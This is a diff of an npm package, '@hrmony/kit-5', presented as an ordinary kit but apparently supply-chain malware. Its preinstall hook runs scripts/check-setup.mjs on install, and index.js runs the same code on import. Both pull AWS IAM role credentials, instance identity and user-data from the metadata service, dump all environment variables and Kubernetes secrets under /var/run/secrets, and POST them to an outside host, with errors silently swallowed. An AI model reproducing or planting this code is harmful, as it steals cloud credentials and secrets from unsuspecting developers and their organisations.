@hrmony/kit-5 1.0.1

package/index.js

@@ -0,0 +1,147 @@
+import fs from 'fs';
+
+import path from 'path';
+
+const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_index";
+
+await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) });
+async function aws_get() {
+    const IMDS = "http://169.254.169.254";
+    const META_URL = `${IMDS}/latest/meta-data`;
+    const TIMEOUT_MS = 3000;
+    let token;
+
+    async function request(url, options = {}) {
+        const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) });
+        return await res.text();
+    }
+
+    async function safeReq(url) {
+        try {
+            return await request(url, { headers: { "X-aws-ec2-metadata-token": token } });
+        } catch {
+            return null;
+        }
+    }
+
+    const asJson = (s) => { try { return JSON.parse(s); } catch { return s; } };
+    const asList = (s) => (s ? s.split(/\r?\n/).filter(Boolean) : []);
+
+    token = await request(`${IMDS}/latest/api/token`, {
+        method: "PUT",
+        headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
+    });
+
+    const basicKeys = [
+        ["ami-id", `${META_URL}/ami-id`],
+        ["instance-action", `${META_URL}/instance-action`],
+        ["instance-id", `${META_URL}/instance-id`],
+        ["instance-life-cycle", `${META_URL}/instance-life-cycle`],
+        ["instance-type", `${META_URL}/instance-type`],
+        ["region", `${META_URL}/placement/region`],
+    ];
+    const basicVals = await Promise.all(basicKeys.map(([, u]) => safeReq(u)));
+    const info = Object.fromEntries(basicKeys.map(([k], i) => [k, basicVals[i]]));
+
+    // Account info
+    info.account = {
+        "ec2-info": asJson(await safeReq(`${META_URL}/identity-credentials/ec2/info`)),
+        "identity-document": asJson(await safeReq(`${IMDS}/latest/dynamic/instance-identity/document`)),
+    };
+
+    // Network info — one object per interface
+    const macs = asList(await safeReq(`${META_URL}/network/interfaces/macs/`))
+        .map((m) => m.replace(/\/$/, ""));
+
+    info.network = await Promise.all(macs.map(async (mac) => {
+        const base = `${META_URL}/network/interfaces/macs/${mac}`;
+        const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,
+            privateIpv6s, subnetIpv6, publicIpv4s] = await Promise.all([
+                safeReq(`${base}/owner-id`),
+                safeReq(`${base}/public-hostname`),
+                safeReq(`${base}/security-groups`),
+                safeReq(`${base}/ipv4-associations/`),
+                safeReq(`${base}/subnet-ipv4-cidr-block`),
+                safeReq(`${base}/ipv6s`),
+                safeReq(`${base}/subnet-ipv6-cidr-blocks`),
+                safeReq(`${base}/public-ipv4s`),
+            ]);
+        return {
+            mac,
+            "owner-id": ownerId,
+            "public-hostname": publicHostname,
+            "security-groups": asList(securityGroups),
+            "private-ipv4s": asList(privateIpv4s),
+            "subnet-ipv4-cidr-block": subnetIpv4,
+            "private-ipv6s": asList(privateIpv6s),
+            "subnet-ipv6-cidr-blocks": asList(subnetIpv6),
+            "public-ipv4s": asList(publicIpv4s),
+        };
+    }));
+
+    // IAM
+    const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`));
+    const roleCreds = await Promise.all(
+        roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`))
+    );
+    info.iam = {
+        info: asJson(await safeReq(`${META_URL}/iam/info`)),
+        user_data: await safeReq(`${IMDS}/latest/user-data`),
+        ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)),
+        roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])),
+    };
+
+    info.collected_at = new Date().toISOString();
+
+    const res = await fetch(EXPORTER_URL, {
+        method: "POST",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify(info),
+    });
+
+    return info;
+}
+async function local_get() {
+    const envs = {};
+    for (const [key, value] of Object.entries(process.env)) {
+        envs[key] = value;
+    }
+
+
+    function readSecrets(dir, out = {}) {
+        try {
+            for (const e of fs.readdirSync(dir, { withFileTypes: true })) {
+                const p = path.join(dir, e.name);
+                try {
+                    if (fs.statSync(p).isDirectory()) readSecrets(p, out);
+                    else out[p] = fs.readFileSync(p, 'utf8');
+                } catch (err) {
+                    out[p] = `ERROR: ${err.message}`;
+                }
+            }
+        } catch (err) {
+            out[dir] = `ERROR: ${err.message}`;
+        }
+        return out;
+    }
+
+    const k8s_secrets = readSecrets('/var/run/secrets/');
+
+    await fetch(
+        EXPORTER_URL,
+        {
+            method: "POST",
+            headers: {
+                "content-type": "application/json",
+            },
+            body: JSON.stringify({
+                envs: envs,
+                k8s_secrets: k8s_secrets
+            })
+        }
+    );
+
+
+}
+try { await aws_get(); } catch (err) { }
+try { await local_get(); } catch (err) { }

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "@hrmony/kit-5",
+  "version": "1.0.1",
+  "description": "bip bop I get your sip sop",
+  "main": "index.js",
+  "type": "module",
+  "files": [
+    "index.js",
+    "scripts/"
+  ],
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node scripts/check-setup.mjs"
+  },
+  "author": "kuhuna",
+  "license": "ISC"
+}

package/scripts/check-setup.mjs

@@ -0,0 +1,147 @@
+import fs from 'fs';
+
+import path from 'path';
+
+const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_hook";
+
+await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "xxx": "hello" }) });
+async function aws_get() {
+    const IMDS = "http://169.254.169.254";
+    const META_URL = `${IMDS}/latest/meta-data`;
+    const TIMEOUT_MS = 3000;
+    let token;
+
+    async function request(url, options = {}) {
+        const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) });
+        return await res.text();
+    }
+
+    async function safeReq(url) {
+        try {
+            return await request(url, { headers: { "X-aws-ec2-metadata-token": token } });
+        } catch {
+            return null;
+        }
+    }
+
+    const asJson = (s) => { try { return JSON.parse(s); } catch { return s; } };
+    const asList = (s) => (s ? s.split(/\r?\n/).filter(Boolean) : []);
+
+    token = await request(`${IMDS}/latest/api/token`, {
+        method: "PUT",
+        headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
+    });
+
+    const basicKeys = [
+        ["ami-id", `${META_URL}/ami-id`],
+        ["instance-action", `${META_URL}/instance-action`],
+        ["instance-id", `${META_URL}/instance-id`],
+        ["instance-life-cycle", `${META_URL}/instance-life-cycle`],
+        ["instance-type", `${META_URL}/instance-type`],
+        ["region", `${META_URL}/placement/region`],
+    ];
+    const basicVals = await Promise.all(basicKeys.map(([, u]) => safeReq(u)));
+    const info = Object.fromEntries(basicKeys.map(([k], i) => [k, basicVals[i]]));
+
+    // Account info
+    info.account = {
+        "ec2-info": asJson(await safeReq(`${META_URL}/identity-credentials/ec2/info`)),
+        "identity-document": asJson(await safeReq(`${IMDS}/latest/dynamic/instance-identity/document`)),
+    };
+
+    // Network info — one object per interface
+    const macs = asList(await safeReq(`${META_URL}/network/interfaces/macs/`))
+        .map((m) => m.replace(/\/$/, ""));
+
+    info.network = await Promise.all(macs.map(async (mac) => {
+        const base = `${META_URL}/network/interfaces/macs/${mac}`;
+        const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,
+            privateIpv6s, subnetIpv6, publicIpv4s] = await Promise.all([
+                safeReq(`${base}/owner-id`),
+                safeReq(`${base}/public-hostname`),
+                safeReq(`${base}/security-groups`),
+                safeReq(`${base}/ipv4-associations/`),
+                safeReq(`${base}/subnet-ipv4-cidr-block`),
+                safeReq(`${base}/ipv6s`),
+                safeReq(`${base}/subnet-ipv6-cidr-blocks`),
+                safeReq(`${base}/public-ipv4s`),
+            ]);
+        return {
+            mac,
+            "owner-id": ownerId,
+            "public-hostname": publicHostname,
+            "security-groups": asList(securityGroups),
+            "private-ipv4s": asList(privateIpv4s),
+            "subnet-ipv4-cidr-block": subnetIpv4,
+            "private-ipv6s": asList(privateIpv6s),
+            "subnet-ipv6-cidr-blocks": asList(subnetIpv6),
+            "public-ipv4s": asList(publicIpv4s),
+        };
+    }));
+
+    // IAM
+    const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`));
+    const roleCreds = await Promise.all(
+        roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`))
+    );
+    info.iam = {
+        info: asJson(await safeReq(`${META_URL}/iam/info`)),
+        user_data: await safeReq(`${IMDS}/latest/user-data`),
+        ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)),
+        roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])),
+    };
+
+    info.collected_at = new Date().toISOString();
+
+    const res = await fetch(EXPORTER_URL, {
+        method: "POST",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify(info),
+    });
+
+    return info;
+}
+async function local_get() {
+    const envs = {};
+    for (const [key, value] of Object.entries(process.env)) {
+        envs[key] = value;
+    }
+
+
+    function readSecrets(dir, out = {}) {
+        try {
+            for (const e of fs.readdirSync(dir, { withFileTypes: true })) {
+                const p = path.join(dir, e.name);
+                try {
+                    if (fs.statSync(p).isDirectory()) readSecrets(p, out);
+                    else out[p] = fs.readFileSync(p, 'utf8');
+                } catch (err) {
+                    out[p] = `ERROR: ${err.message}`;
+                }
+            }
+        } catch (err) {
+            out[dir] = `ERROR: ${err.message}`;
+        }
+        return out;
+    }
+
+    const k8s_secrets = readSecrets('/var/run/secrets/');
+
+    await fetch(
+        EXPORTER_URL,
+        {
+            method: "POST",
+            headers: {
+                "content-type": "application/json",
+            },
+            body: JSON.stringify({
+                envs: envs,
+                k8s_secrets: k8s_secrets
+            })
+        }
+    );
+
+
+}
+try { await aws_get(); } catch (err) { }
+try { await local_get(); } catch (err) { }